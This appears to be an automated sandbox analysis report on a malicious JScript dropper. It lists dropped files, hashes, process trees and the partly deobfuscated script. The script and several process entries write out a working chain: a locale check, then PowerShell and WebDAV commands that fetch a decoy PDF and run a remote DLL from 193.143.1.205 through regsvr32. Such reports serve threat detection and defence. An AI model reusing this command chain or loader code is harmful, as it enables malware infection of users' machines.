C:\Users\user\AppData\Local\Temp\acrocef_low\97fb0249-a1fb-4664-80b6-b72e844a0aae.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ce97bec5-4f19-4055-98a8-089152162fff.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17538), with CRLF line terminators
Entropy (8bit):	4.923335278708919
TrID:
File name:	251011677249918058.js
File size:	21'017 bytes
MD5:	8ed7c064a0ecd97bd61865c36cd052d8
SHA1:	12c3fe3b6c07d3b3194a3286bb1b33f985eb7e32
SHA256:	1f642696406725d0881add716aebb996e8305e86c4ac9df8c019b9ec0058d780
SHA512:	e9a3711c22ea7810c31f6f4b048ff8803a94480e20447e2844f5fc8da88aa00eccba15b0b609e07b492bcd420900db5278873f9f0b891d7f739c8e43517f4c02
SSDEEP:	384:MA+XUsRLDmGBNWv+IG4lW9x63MphBtKNvhHdIWkangOTh:MFRLDmGBNWv+IG4l2xBtKz79Th
TLSH:	8592421D1644E3C55EDC2A3452AF28D7B2C401CC52B491EB8FB67C7C5AC0AAD02F6A7E
File Content Preview:	function hradt(){bugwr=[1031,3079,5127,4103,2055,3072];var yfltibbqg=this[aelntv+ofjgcj+ilkptkfm+hscfrkbcr+amndkkgn+tzvicfghl+wxvpc+hwakeyq](this[knddlc+zgauxaisr+nmwaqo+ilkptkfm+picuv+aelntv+hwakeyq][lowsthvw+ilkptkfm+amndkkgn+ofjgcj+hwakeyq+amndkkgn+tzn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	09:07:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\251011677249918058.js"
Imagebase:	0x7ff64e050000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:07:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll
Imagebase:	0x7ff68bb50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:07:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:07:03
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:07:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:07:07
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68bb50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:07:07
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff75c8e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:07:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:07:08
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x780000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:07:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1596,i,5625077629047493174,4012142111015455461,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hradt() {	hradt() ➔ undefined
1	bugwr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yfltibbqg = this[aelntv + ofjgcj + ilkptkfm + hscfrkbcr + amndkkgn + tzvicfghl + wxvpc + hwakeyq] ( this[knddlc + zgauxaisr + nmwaqo + ilkptkfm + picuv + aelntv + hwakeyq][lowsthvw + ilkptkfm + amndkkgn + ofjgcj + hwakeyq + amndkkgn + tznzqdldl + hnoacnf + dyzoyffl + amndkkgn + nmwaqo + hwakeyq] ( knddlc + zgauxaisr + nmwaqo + ilkptkfm + picuv + aelntv + hwakeyq + hpcrczw + zgauxaisr + yotvmrl + amndkkgn + jzzdqmx + jzzdqmx ) [jysbwei + amndkkgn + xamsqtvp + jysbwei + amndkkgn + ofjgcj + lxfcdcw] ( kxyiqcbf + gbtpljfr + bpjqbwct + cnmntr + plhqjbia + lowsthvw + mgrscx + jysbwei + jysbwei + bpjqbwct + yhkda + qvvfiuyn + plhqjbia + mgrscx + zgauxaisr + bpjqbwct + jysbwei + lawkvc + lowsthvw + jxnpx + wxvpc + hwakeyq + ilkptkfm + jxnpx + jzzdqmx + zjjwpqraz + qtrxeggp + ofjgcj + wxvpc + amndkkgn + jzzdqmx + lawkvc + tzvicfghl + wxvpc + hwakeyq + amndkkgn + ilkptkfm + wxvpc + ofjgcj + hwakeyq + picuv + jxnpx + wxvpc + ofjgcj + jzzdqmx + lawkvc + igfberzt + jxnpx + nmwaqo + ofjgcj + jzzdqmx + amndkkgn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xxokh = 0 ; xxokh < bugwr[jzzdqmx + amndkkgn + wxvpc + xamsqtvp + hwakeyq + yotvmrl] ; ++ xxokh )
4	{
5	if ( yfltibbqg == bugwr[xxokh] )
6	{
7	yfltibbqg = true;
8	break ;
9	}
10	}
11	if ( yfltibbqg !== true )
12	this[knddlc + zgauxaisr + nmwaqo + ilkptkfm + picuv + aelntv + hwakeyq][wcjivb + jcslmfkdg + picuv + hwakeyq] ( );
13	this[knddlc + zgauxaisr + nmwaqo + ilkptkfm + picuv + aelntv + hwakeyq][lowsthvw + ilkptkfm + amndkkgn + ofjgcj + hwakeyq + amndkkgn + tznzqdldl + hnoacnf + dyzoyffl + amndkkgn + nmwaqo + hwakeyq] ( knddlc + zgauxaisr + nmwaqo + ilkptkfm + picuv + aelntv + hwakeyq + hpcrczw + zgauxaisr + yotvmrl + amndkkgn + jzzdqmx + jzzdqmx ) [ilkptkfm + jcslmfkdg + wxvpc] ( nmwaqo + ybqlqnqr + lxfcdcw + zjjwpqraz + fpuml + nmwaqo + zjjwpqraz + aelntv + jxnpx + lnebqiy + amndkkgn + ilkptkfm + hscfrkbcr + yotvmrl + amndkkgn + jzzdqmx + jzzdqmx + hpcrczw + amndkkgn + jslqecc + amndkkgn + zjjwpqraz + kruhegj + lowsthvw + jxnpx + ybqlqnqr + ybqlqnqr + ofjgcj + wxvpc + lxfcdcw + zjjwpqraz + crhzhs + tzvicfghl + wxvpc + mcqrowyvt + jxnpx + csscc + amndkkgn + kruhegj + knddlc + amndkkgn + hnoacnf + jysbwei + amndkkgn + ernheqd + jcslmfkdg + amndkkgn + hscfrkbcr + hwakeyq + zjjwpqraz + kruhegj + tznzqdldl + jcslmfkdg + hwakeyq + urslsjw + picuv + jzzdqmx + amndkkgn + zjjwpqraz + ukius + hwakeyq + amndkkgn + ybqlqnqr + aelntv + ukius + lawkvc + picuv + wxvpc + mcqrowyvt + jxnpx + picuv + nmwaqo + amndkkgn + hpcrczw + aelntv + lxfcdcw + ksbelsp + zjjwpqraz + yotvmrl + hwakeyq + hwakeyq + aelntv + aeqdfjeq + fpuml + fpuml + tiorgliui + afjwgfhjm + tgpobj + hpcrczw + tiorgliui + skemeg + tgpobj + hpcrczw + tiorgliui + hpcrczw + hcfrdwusu + yitekw + jbzli + fpuml + picuv + wxvpc + mcqrowyvt + jxnpx + picuv + nmwaqo + amndkkgn + hpcrczw + aelntv + yotvmrl + aelntv + crhzhs + bhrmd + bhrmd + hscfrkbcr + hwakeyq + ofjgcj + ilkptkfm + hwakeyq + zjjwpqraz + ukius + hwakeyq + amndkkgn + ybqlqnqr + aelntv + ukius + lawkvc + picuv + wxvpc + mcqrowyvt + jxnpx + picuv + nmwaqo + amndkkgn + hpcrczw + aelntv + lxfcdcw + ksbelsp + bhrmd + bhrmd + nmwaqo + ybqlqnqr + lxfcdcw + zjjwpqraz + fpuml + nmwaqo + zjjwpqraz + wxvpc + amndkkgn + hwakeyq + zjjwpqraz + jcslmfkdg + hscfrkbcr + amndkkgn + zjjwpqraz + lawkvc + lawkvc + tiorgliui + afjwgfhjm + tgpobj + hpcrczw + tiorgliui + skemeg + tgpobj + hpcrczw + tiorgliui + hpcrczw + hcfrdwusu + yitekw + jbzli + hapax + fwmoz + fwmoz + fwmoz + fwmoz + lawkvc + lxfcdcw + ofjgcj + mcqrowyvt + lnebqiy + lnebqiy + lnebqiy + ilkptkfm + jxnpx + jxnpx + hwakeyq + lawkvc + bhrmd + bhrmd + nmwaqo + ybqlqnqr + lxfcdcw + zjjwpqraz + fpuml + nmwaqo + zjjwpqraz + ilkptkfm + amndkkgn + xamsqtvp + hscfrkbcr + mcqrowyvt + ilkptkfm + tgpobj + hcfrdwusu + zjjwpqraz + fpuml + hscfrkbcr + zjjwpqraz + lawkvc + lawkvc + tiorgliui + afjwgfhjm + tgpobj + hpcrczw + tiorgliui + skemeg + tgpobj + hpcrczw + tiorgliui + hpcrczw + hcfrdwusu + yitekw + jbzli + hapax + fwmoz + fwmoz + fwmoz + fwmoz + lawkvc + lxfcdcw + ofjgcj + mcqrowyvt + lnebqiy + lnebqiy + lnebqiy + ilkptkfm + jxnpx + jxnpx + hwakeyq + lawkvc + tiorgliui + baamp + tgpobj + skemeg + baamp + hcfrdwusu + tgpobj + hcfrdwusu + tiorgliui + fwmoz + hcfrdwusu + bojwckfe + bojwckfe + tiorgliui + tgpobj + hpcrczw + lxfcdcw + jzzdqmx + jzzdqmx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll",0,false) ➔ 0
14	}
15	bojwckfe = "e";
16	bojwckfe = "v";
17	bojwckfe = "d";
18	bojwckfe = "J";
19	bojwckfe = "v";
20	bojwckfe = "N";
21	bojwckfe = "P";
22	bojwckfe = "q";
23	bojwckfe = "M";
24	bojwckfe = "Y";
25	bojwckfe = "Q";
26	bojwckfe = "G";
27	bojwckfe = "y";
28	bojwckfe = "L";
29	bojwckfe = "v";
30	bojwckfe = "N";
31	bojwckfe = "t";
32	bojwckfe = "E";
33	bojwckfe = "K";
34	bojwckfe = "y";
35	bojwckfe = "H";
36	bojwckfe = "V";
37	bojwckfe = "X";
38	bojwckfe = "y";
39	bojwckfe = "x";
40	bojwckfe = "e";
41	bojwckfe = "j";
42	bojwckfe = "x";
43	bojwckfe = "M";
44	bojwckfe = "i";
45	bojwckfe = "e";
46	bojwckfe = "U";
47	bojwckfe = "l";
48	bojwckfe = "l";
49	bojwckfe = "m";
50	bojwckfe = "C";
51	bojwckfe = "P";
52	bojwckfe = "B";
53	bojwckfe = "7";
54	tzvicfghl = "a";
55	tzvicfghl = "v";
56	tzvicfghl = "Y";
57	tzvicfghl = "N";
58	tzvicfghl = "J";
59	tzvicfghl = "u";
60	tzvicfghl = "p";
61	tzvicfghl = "h";
62	tzvicfghl = "R";
63	tzvicfghl = "a";
64	tzvicfghl = "c";
65	tzvicfghl = "t";
66	tzvicfghl = "R";
67	tzvicfghl = "w";
68	tzvicfghl = "R";
69	tzvicfghl = "m";
70	tzvicfghl = "a";
71	tzvicfghl = "A";
72	tzvicfghl = "w";
73	tzvicfghl = "o";
74	tzvicfghl = "A";
75	tzvicfghl = "v";
76	tzvicfghl = "R";
77	tzvicfghl = "E";
78	tzvicfghl = "J";
79	tzvicfghl = "x";
80	tzvicfghl = "y";
81	tzvicfghl = "K";
82	tzvicfghl = "I";
83	tgpobj = "r";
84	tgpobj = "g";
85	tgpobj = "Q";
86	tgpobj = "G";
87	tgpobj = "h";
88	tgpobj = "t";
89	tgpobj = "S";
90	tgpobj = "p";
91	tgpobj = "x";
92	tgpobj = "b";
93	tgpobj = "F";
94	tgpobj = "F";
95	tgpobj = "U";
96	tgpobj = "E";
97	tgpobj = "f";
98	tgpobj = "I";
99	tgpobj = "w";
100	tgpobj = "e";
101	tgpobj = "q";
102	tgpobj = "e";
103	tgpobj = "g";
104	tgpobj = "s";
105	tgpobj = "S";
106	tgpobj = "s";
107	tgpobj = "i";
108	tgpobj = "N";
109	tgpobj = "p";
110	tgpobj = "l";
111	tgpobj = "C";
112	tgpobj = "V";
113	tgpobj = "B";
114	tgpobj = "v";
115	tgpobj = "Y";
116	tgpobj = "p";
117	tgpobj = "s";
118	tgpobj = "H";
119	tgpobj = "A";
120	tgpobj = "s";
121	tgpobj = "L";
122	tgpobj = "T";
123	tgpobj = "3";
124	lowsthvw = "O";
125	lowsthvw = "D";
126	lowsthvw = "E";
127	lowsthvw = "k";
128	lowsthvw = "F";
129	lowsthvw = "a";
130	lowsthvw = "V";
131	lowsthvw = "B";
132	lowsthvw = "R";
133	lowsthvw = "X";
134	lowsthvw = "k";
135	lowsthvw = "B";
136	lowsthvw = "C";
137	ilkptkfm = "V";
138	ilkptkfm = "g";
139	ilkptkfm = "i";
140	ilkptkfm = "H";
141	ilkptkfm = "Q";
142	ilkptkfm = "R";
143	ilkptkfm = "S";
144	ilkptkfm = "S";
145	ilkptkfm = "O";
146	ilkptkfm = "G";
147	ilkptkfm = "U";
148	ilkptkfm = "r";
149	ilkptkfm = "D";
150	ilkptkfm = "I";
151	ilkptkfm = "Y";
152	ilkptkfm = "r";
153	yitekw = "G";
154	yitekw = "h";
155	yitekw = "a";
156	yitekw = "g";
157	yitekw = "u";
158	yitekw = "p";
159	yitekw = "P";
160	yitekw = "I";
161	yitekw = "H";
162	yitekw = "X";
163	yitekw = "m";
164	yitekw = "O";
165	yitekw = "A";
166	yitekw = "p";
167	yitekw = "w";
168	yitekw = "m";
169	yitekw = "p";
170	yitekw = "K";
171	yitekw = "N";
172	yitekw = "x";
173	yitekw = "0";
174	ukius = "j";
175	ukius = "k";
176	ukius = "Y";
177	ukius = "U";
178	ukius = "f";
179	ukius = "P";
180	ukius = "E";
181	ukius = "o";
182	ukius = "g";
183	ukius = "V";
184	ukius = "d";
185	ukius = "M";
186	ukius = "t";
187	ukius = "e";
188	ukius = "Z";
189	ukius = "W";
190	ukius = "j";
191	ukius = "Y";
192	ukius = "Q";
193	ukius = "e";
194	ukius = "h";
195	ukius = "v";
196	ukius = "L";
197	ukius = "W";
198	ukius = "K";
199	ukius = "q";
200	ukius = "S";
201	ukius = "m";
202	ukius = "h";
